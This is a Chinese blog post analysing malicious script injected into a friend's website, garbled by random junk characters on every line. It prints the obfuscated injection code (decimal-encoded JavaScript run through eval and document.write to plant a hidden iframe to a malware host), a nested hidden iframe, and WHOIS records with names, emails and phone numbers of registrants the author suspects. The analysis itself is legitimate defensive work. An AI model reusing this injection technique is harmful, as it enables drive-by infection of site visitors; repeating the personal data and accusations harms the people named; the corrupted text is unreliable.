首发在我的博客里面，
'tut4SwC lT3|D?sF http://www.areway.cn/?p=175 G V= OKf# Md?acWE*L c+wuC, 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
WN1Jm:5YV >F~ITk5`Oo <script>t=’60,105,102,114,97,109,101,
kMqD
i J 32,115,114,99,61,104,116,116,112,58,47,47,
H8sK }1. 102,114,101,101,46,117,45,117,117,117,46,99,
,b4 ~!V 110,47,101,114,114,111,114,46,104,116,109,
MyqiBGTb 32,119,105,100,116,104,61,49,48,48,32,104,
XUf7y D 101,105,103,104,116,61,48,62,60,47,105,102,
mDlCt_h 114,97,109,101,62′;
W0U`Kt&~a t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
/t$*W\PL@ ni Q+EAD <script>t=’60,105,102,114,97,109,101,32,115,
i<bxc 114,99,61,104,116,116,112,58,47,47,102,114,
5U3qr*/ ;m 101,101,46,117,45,117,117,117,46,99,110,47,
J+0/ :00( 101,114,114,111,114,46,104,116,109,32,119,
)FV6, 105,100,116,104,61,49,48,48,32,104,101,105,
1O23"o5= 103,104,116,61,48,62,60,47,105,102,114,97,
s9G)Bd 8 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
oFb\T iLu document.write(t);</script>
& b!vWX1N L2<+#O# <html xmlns=”
Mc!2mE%47m http://www.w3.org/1999/xhtml ),M U+ *` “>
9 n-T5WP <head>
=>e?l8`% <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
'Z59<Y a&x <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
R/ Tj^lM <title>首页 - 爱生活家庭网
\u{Jf'g R
!Fx)xj 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
Kyu@>9Ok 转换字符串后的大概内容是（谁点击后果自付）：
,cPkx~w0 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
[6G=yp {uEu >D$8 查询玉米u-uuu.cn的详细信息：
Z 4\tY^NI Domain Name: u-uuu.cn
+{ S Maq ROID: 20070901s10001s64972306-cn
L!?v BL
Domain Status: ok
2 ae w6~ Registrant Organization: 王雷
`!<x"xKu Registrant Name: 王雷
2.!1kije Administrative Email:
czlovexs@126.com F9v)R #u~ Sponsoring Registrar: 北京万网志成科技有限公司
"OVi /:*B Name Server:ns.yovole.com
0
-!?W Name Server:ns1.yovole.com
`S5>0r5[ Registration Date: 2007-09-01 17:54
g%+ql[(4 Expiration Date: 2008-09-01 17:54
,eyp $^ 2 最后PING了一下地址 都没有什么….
V/@[%w= fYb KmB 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
<=$rU232} <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
SgyqmYTvZw <script language=”javascript” src=”
23)F-.C}j http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script E1^aA lVSD >
(_s;aK 这个玉米应该有可能是木马作者的：
B,r5kQI4 foafau.info的详细信息：
V[4(~,9 Access to INFO WHOIS information is provided to assist persons in
KSF5)CZ5 determining the contents of a domain name registration record in the
G% o7BX Afilias registry database. The data in this record is provided by
H]Y#pL u| Afilias Limited for informational purposes only, and Afilias does not
i<'{ Y guarantee its accuracy. This service is intended only for query-based
~K4k'
access. You agree that you will use this data only for lawful purposes
$,}Qf0(S and that, under no circumstances will you use this data to: (a) allow,
mgk64}K [n enable, or otherwise support the transmission by e-mail, telephone, or
+[>y O _} facsimile of mass unsolicited, commercial advertising or solicitations
jG
= (w 4+ to entities other than the data recipient’s own existing customers; or
A J<iM)l| (b) enable high volume, automated, electronic processes that send
X77A; US queries or data to the systems of Registry Operator, a Registrar, or
jM6uT'Io Afilias except as reasonably necessary to register domain names or
bta0? O
# modify existing registrations. All rights reserved. Afilias reserves
UEN YJ*tnP the right to modify these terms at any time. By submitting this query,
jQY >9+t you agree to abide by this policy.
}~myf\$ Domain ID:D22418703-LRMS
<u r KIu Domain Name:FOAFAU.INFO
T_3V/)%@ Created On:20-Nov-2007 16:05:42 UTC
}P 05eI Last Updated On:20-Nov-2007 16:05:44 UTC
Fsnw3/Nr Expiration Date:20-Nov-2008 16:05:42 UTC
l0eANB%Y=@ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
b$;HI7)/K Status:CLIENT DELETE PROHIBITED
] d W%g? Status:CLIENT RENEW PROHIBITED
RmcYa j^= Status:CLIENT TRANSFER PROHIBITED
kqjxJ 5 Status:CLIENT UPDATE PROHIBITED
+I^+k " Status:TRANSFER PROHIBITED
c ,Qw; Registrant ID:GODA-040110615
tVC@6Z$ Registrant Name:liu hong
^nG1/} Registrant Organization:
J&
1X Registrant Street1:beijing
;+S2h-4 Registrant Street2:
plzE Registrant Street3:
_Jf J%YXy Registrant City:beijing
l*~"5f 03 Registrant State/Province:
~+sne7
6 U Registrant Postal Code:100000
U;x9 9Go: Registrant Country:CN
Z )C:]}Ex Registrant Phone:+86.860108888777
zyIza @V( Registrant Phone Ext.:
;m-6.AV Registrant FAX:
~5- ~ q0Ge Registrant FAX Ext.:
pP?<[ql[w Registrant Email:bbbshiji@163.com
*5ka.=Q s Admin ID:GODA-240110615
@C!JtgO% Admin Name:liu hong
}`+O$0A Admin Organization:
dL1~]Z
y
Admin Street1:beijing
_Ym&UY.u# Admin Street2:
*O"%tp6 Admin Street3:
^G ] KE8 Admin City:beijing
M>`?m
L Admin State/Province:
DR. 3
J`?K Admin Postal Code:100000
nEjo, Admin Country:CN
aL_;`@4 Admin Phone:+86.860108888777
3MS3O.0]/ Admin Phone Ext.:
j<.
<S { Admin FAX:
7AZ5%o Admin FAX Ext.:
6Y0/i,d* Admin Email:bbbshiji@163.com
?7rmw y\ Billing ID:GODA-340110615
{jj]K.& Billing Name:liu hong
;`X`c Billing Organization:
Y?"v2~;3 Billing Street1:beijing
fY| @{]rx Billing Street2:
v*vub#wP Billing Street3:
mafAC73 Billing City:beijing
{|8:U}<#h Billing State/Province:
5Ws:Ei{R Billing Postal Code:100000
842Mydom Billing Country:CN
E9~&f^ f Billing Phone:+86.860108888777
{Sd@u$& Billing Phone Ext.:
H l4vLx@ Billing FAX:
z/ c'Z#w% Billing FAX Ext.:
Y{x[N}h Billing Email:bbbshiji@163.com
*~\;&G29Y Tech ID:GODA-140110615
@LwVmR |{ Tech Name:liu hong
g7E`;&f Tech Organization:
Jgi{7J Tech Street1:beijing
Z_eqM4{ Tech Street2:
Mt7X<?GZm Tech Street3:
#R"9)vHp Tech City:beijing
]5qjK~,4b Tech State/Province:
brp N >\ Tech Postal Code:100000
[A.eVuV;+ Tech Country:CN
Rx_,J%0 Fq Tech Phone:+86.860108888777
QjW~6Z.tI Tech Phone Ext.:
*YiD B?Si Tech FAX:
M8 ^ziZ Y Tech FAX Ext.:
S[\cT:{ OE Tech Email:bbbshiji@163.com
8ESkG Name Server:NS27.DOMAINCONTROL.COM
_BeX7 Name Server:NS28.DOMAINCONTROL.COM
gn;nS{ A Name Server:
,=XS%g}l4 Name Server:
(
S C7m / Name Server:
a8 lo!e9q Name Server:
'xu7AKpU) Name Server:
ul5:: Name Server:
A_X^k|)T Name Server:
IArpCF/"8 Name Server:
O(c4iWm Name Server:
%>x0*T$$ Name Server:
.q|xMS}4 Name Server:
!T&u2=`D _3FMQY( 接着下载每个文件里面的代码：
p!rG PyGC 一步一步看..
>E 2WZHzd2 
Hsux>+Q 
t`& s 
.n ^O)|Z 
`gA5P % 
B hhK| U/ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
